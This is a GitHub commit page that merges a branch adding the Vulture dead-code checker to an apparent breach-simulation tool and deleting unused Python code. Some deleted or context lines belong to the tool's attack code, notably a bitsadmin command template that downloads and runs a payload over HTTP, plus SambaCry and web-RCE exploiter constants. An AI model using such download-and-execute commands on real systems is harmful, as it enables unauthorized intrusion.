Skip to content

Commit aa959c3

Browse files
committed
Merge branch 'vulture' into develop
2 parents 5b75dc5 + 69af8a8 commit aa959c3

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

50 files changed

+214
-437
lines changed

.flake8

+1-2
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
[flake8]
22
## Warn about linter issues.
33

4-
exclude = monkey/monkey_island/cc/ui
4+
exclude = monkey/monkey_island/cc/ui,whitelist.py
55
show-source = True
66
max-complexity = 10
77
max-line-length = 100
@@ -15,4 +15,3 @@ statistics = True
1515

1616
### --count will print the total number of errors.
1717
count = True
18-

.pre-commit-config.yaml

+4
Original file line numberDiff line numberDiff line change
@@ -48,3 +48,7 @@ repos:
4848
rev: v0.2
4949
hooks:
5050
- id: swimm-verify
51+
- repo: https://github.com/jendrikseipp/vulture
52+
rev: v2.3
53+
hooks:
54+
- id: vulture

.travis.yml

+3
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,9 @@ script:
6363
## Check that all python is properly formatted. Fail otherwise.
6464
- python -m black --check .
6565

66+
## Check that there is no dead python code
67+
- python -m vulture .
68+
6669
## Run unit tests and generate coverage data
6770
- cd monkey # This is our source dir
6871
- python -m pytest --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.

CHANGELOG.md

+1
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
2727
- Zerologon exploiter writes runtime artifacts to a secure temporary directory
2828
instead of $HOME. #1143
2929
- Authentication mechanism to use bcrypt on server side. #1139
30+
- Removed relevant dead code as reported by Vulture. #1149
3031

3132
### Fixed
3233
- Attempted to delete a directory when monkey config reset was called. #1054

monkey/common/cloud/aws/aws_service.py

-17
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22

33
import boto3
44
import botocore
5-
from botocore.exceptions import ClientError
65

76
from common.cloud.aws.aws_instance import AwsInstance
87

@@ -53,22 +52,6 @@ def get_client(client_type, region=None):
5352
client_type, region_name=region if region is not None else AwsService.region
5453
)
5554

56-
@staticmethod
57-
def get_session():
58-
return boto3.session.Session()
59-
60-
@staticmethod
61-
def get_regions():
62-
return AwsService.get_session().get_available_regions("ssm")
63-
64-
@staticmethod
65-
def test_client():
66-
try:
67-
AwsService.get_client("ssm").describe_instance_information()
68-
return True
69-
except ClientError:
70-
return False
71-
7255
@staticmethod
7356
def get_instances():
7457
"""

monkey/common/cmd/cmd_runner.py

-11
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22
import time
33
from abc import abstractmethod
44

5-
from common.cmd.cmd import Cmd
65
from common.cmd.cmd_result import CmdResult
76
from common.cmd.cmd_status import CmdStatus
87

@@ -36,16 +35,6 @@ class CmdRunner(object):
3635
def __init__(self, is_linux):
3736
self.is_linux = is_linux
3837

39-
def run_command(self, command_line, timeout=DEFAULT_TIMEOUT):
40-
"""
41-
Runs the given command on the remote machine
42-
:param command_line: The command line to run
43-
:param timeout: Timeout in seconds for command.
44-
:return: Command result
45-
"""
46-
c_id = self.run_command_async(command_line)
47-
return self.wait_commands([Cmd(self, c_id)], timeout)[1]
48-
4938
@staticmethod
5039
def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res):
5140
"""

monkey/common/common_consts/system_info_collectors_names.py

-1
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,3 @@
44
PROCESS_LIST_COLLECTOR = "ProcessListCollector"
55
MIMIKATZ_COLLECTOR = "MimikatzCollector"
66
AZURE_CRED_COLLECTOR = "AzureCollector"
7-
SCOUTSUITE_COLLECTOR = "ScoutSuiteCollector"

monkey/common/utils/attack_utils.py

-10
Original file line numberDiff line numberDiff line change
@@ -42,13 +42,3 @@ class UsageEnum(Enum):
4242

4343
# Dict that describes what BITS job was used for
4444
BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."
45-
46-
47-
def format_time(time):
48-
return "%s-%s %s:%s:%s" % (
49-
time.date().month,
50-
time.date().day,
51-
time.time().hour,
52-
time.time().minute,
53-
time.time().second,
54-
)

monkey/common/utils/exploit_enum.py

-1
Original file line numberDiff line numberDiff line change
@@ -3,5 +3,4 @@
33

44
class ExploitType(Enum):
55
VULNERABILITY = 1
6-
OTHER = 8
76
BRUTE_FORCE = 9

monkey/infection_monkey/config.py

-1
Original file line numberDiff line numberDiff line change
@@ -188,7 +188,6 @@ def as_dict(self):
188188
# exploiters config
189189
###########################
190190

191-
should_exploit = True
192191
skip_exploit_if_file_exist = False
193192

194193
ms08_067_exploit_attempts = 5

monkey/infection_monkey/example.conf

-1
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
{
2-
"should_exploit": true,
32
"command_servers": [
43
"192.0.2.0:5000"
54
],

monkey/infection_monkey/exploit/sambacry.py

-5
Original file line numberDiff line numberDiff line change
@@ -73,10 +73,6 @@ class SambaCryExploiter(HostExploiter):
7373
SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
7474
# Monkey filename on share (64 bit)
7575
SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
76-
# Monkey copy filename on share (32 bit)
77-
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
78-
# Monkey copy filename on share (64 bit)
79-
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
8076
# Supported samba port
8177
SAMBA_PORT = 445
8278

@@ -465,7 +461,6 @@ def create_smb(
465461
creationDisposition,
466462
fileAttributes,
467463
impersonationLevel=SMB2_IL_IMPERSONATION,
468-
securityFlags=0,
469464
oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
470465
createContexts=None,
471466
):

monkey/infection_monkey/exploit/tools/wmi_tools.py

-4
Original file line numberDiff line numberDiff line change
@@ -10,10 +10,6 @@
1010
LOG = logging.getLogger(__name__)
1111

1212

13-
class DceRpcException(Exception):
14-
pass
15-
16-
1713
class AccessDeniedException(Exception):
1814
def __init__(self, host, username, password, domain):
1915
super(AccessDeniedException, self).__init__(

monkey/infection_monkey/exploit/web_rce.py

+1-11
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@
2525
RUN_MONKEY,
2626
WGET_HTTP_UPLOAD,
2727
)
28-
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
28+
from infection_monkey.network.tools import tcp_port_to_service
2929
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
3030
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
3131

@@ -188,13 +188,6 @@ def get_open_service_ports(self, port_list, names):
188188

189189
return valid_ports
190190

191-
def check_if_port_open(self, port):
192-
is_open, _ = check_tcp_port(self.host.ip_addr, port)
193-
if not is_open:
194-
LOG.info("Port %d is closed on %r, skipping", port, self.host)
195-
return False
196-
return True
197-
198191
def get_command(self, path, http_path, commands):
199192
try:
200193
if "linux" in self.host.os["type"]:
@@ -578,9 +571,6 @@ def get_default_dropper_path(self):
578571
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
579572
return self._config.dropper_target_path_win_32
580573

581-
def set_vulnerable_port_from_url(self, url):
582-
self.vulnerable_port = HTTPTools.get_port_from_url(url)
583-
584574
def get_target_url(self):
585575
"""
586576
This method allows "configuring" the way in which a vulnerable URL is picked.

monkey/infection_monkey/model/__init__.py

-9
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,6 @@
1717
MONKEY_ARG,
1818
)
1919
MONKEY_CMDLINE_LINUX = "./%%(monkey_filename)s %s" % (MONKEY_ARG,)
20-
GENERAL_CMDLINE_LINUX = "(cd %(monkey_directory)s && %(monkey_commandline)s)"
2120
DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % (
2221
CMD_PREFIX,
2322
DROPPER_ARG,
@@ -26,14 +25,6 @@
2625
CMD_PREFIX,
2726
MONKEY_ARG,
2827
)
29-
MONKEY_CMDLINE_HTTP = (
30-
'%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s'
31-
'&cmd /c %%(monkey_path)s %s"'
32-
% (
33-
CMD_PREFIX,
34-
MONKEY_ARG,
35-
)
36-
)
3728
DELAY_DELETE_CMD = (
3829
"cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & "
3930
"if not exist %(file_path)s exit)) > NUL 2>&1 "

monkey/infection_monkey/monkey.py

-3
Original file line numberDiff line numberDiff line change
@@ -56,12 +56,10 @@ def __init__(self, args):
5656
self._default_tunnel = None
5757
self._args = args
5858
self._network = None
59-
self._dropper_path = None
6059
self._exploiters = None
6160
self._fingerprint = None
6261
self._default_server = None
6362
self._default_server_port = None
64-
self._depth = 0
6563
self._opts = None
6664
self._upgrading_to_64 = False
6765

@@ -92,7 +90,6 @@ def initialize(self):
9290

9391
self._keep_running = True
9492
self._network = NetworkScanner()
95-
self._dropper_path = sys.argv[0]
9693

9794
if self._default_server:
9895
if self._default_server not in WormConfiguration.command_servers:

monkey/infection_monkey/monkeyfs.py

-1
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,6 @@ def __init__(self, name, mode="r", buffering=None):
1515
if not name.startswith(MONKEYFS_PREFIX):
1616
name = MONKEYFS_PREFIX + name
1717
self.name = name
18-
self._mode = mode
1918
if name in VirtualFile._vfs:
2019
super(VirtualFile, self).__init__(self._vfs[name])
2120
else:

monkey/infection_monkey/network/firewall.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ def listen_allowed(self, **kwargs):
3131
def __enter__(self):
3232
return self
3333

34-
def __exit__(self, exc_type, value, traceback):
34+
def __exit__(self, _exc_type, value, traceback):
3535
self.close()
3636

3737
def close(self):

monkey/infection_monkey/network/info.py

-20
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22
import socket
33
import struct
44
from random import randint # noqa: DUO102
5-
from subprocess import check_output
65

76
import netifaces
87
import psutil
@@ -157,22 +156,3 @@ def get_interfaces_ranges():
157156
# limit subnet scans to class C only
158157
res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str)))
159158
return res
160-
161-
162-
if is_windows_os():
163-
164-
def get_ip_for_connection(target_ip):
165-
return None
166-
167-
168-
else:
169-
170-
def get_ip_for_connection(target_ip):
171-
try:
172-
query_str = "ip route get %s" % target_ip
173-
resp = check_output(query_str.split())
174-
substr = resp.split()
175-
src = substr[substr.index("src") + 1]
176-
return src
177-
except Exception:
178-
return None

0 commit comments

Comments
 (0)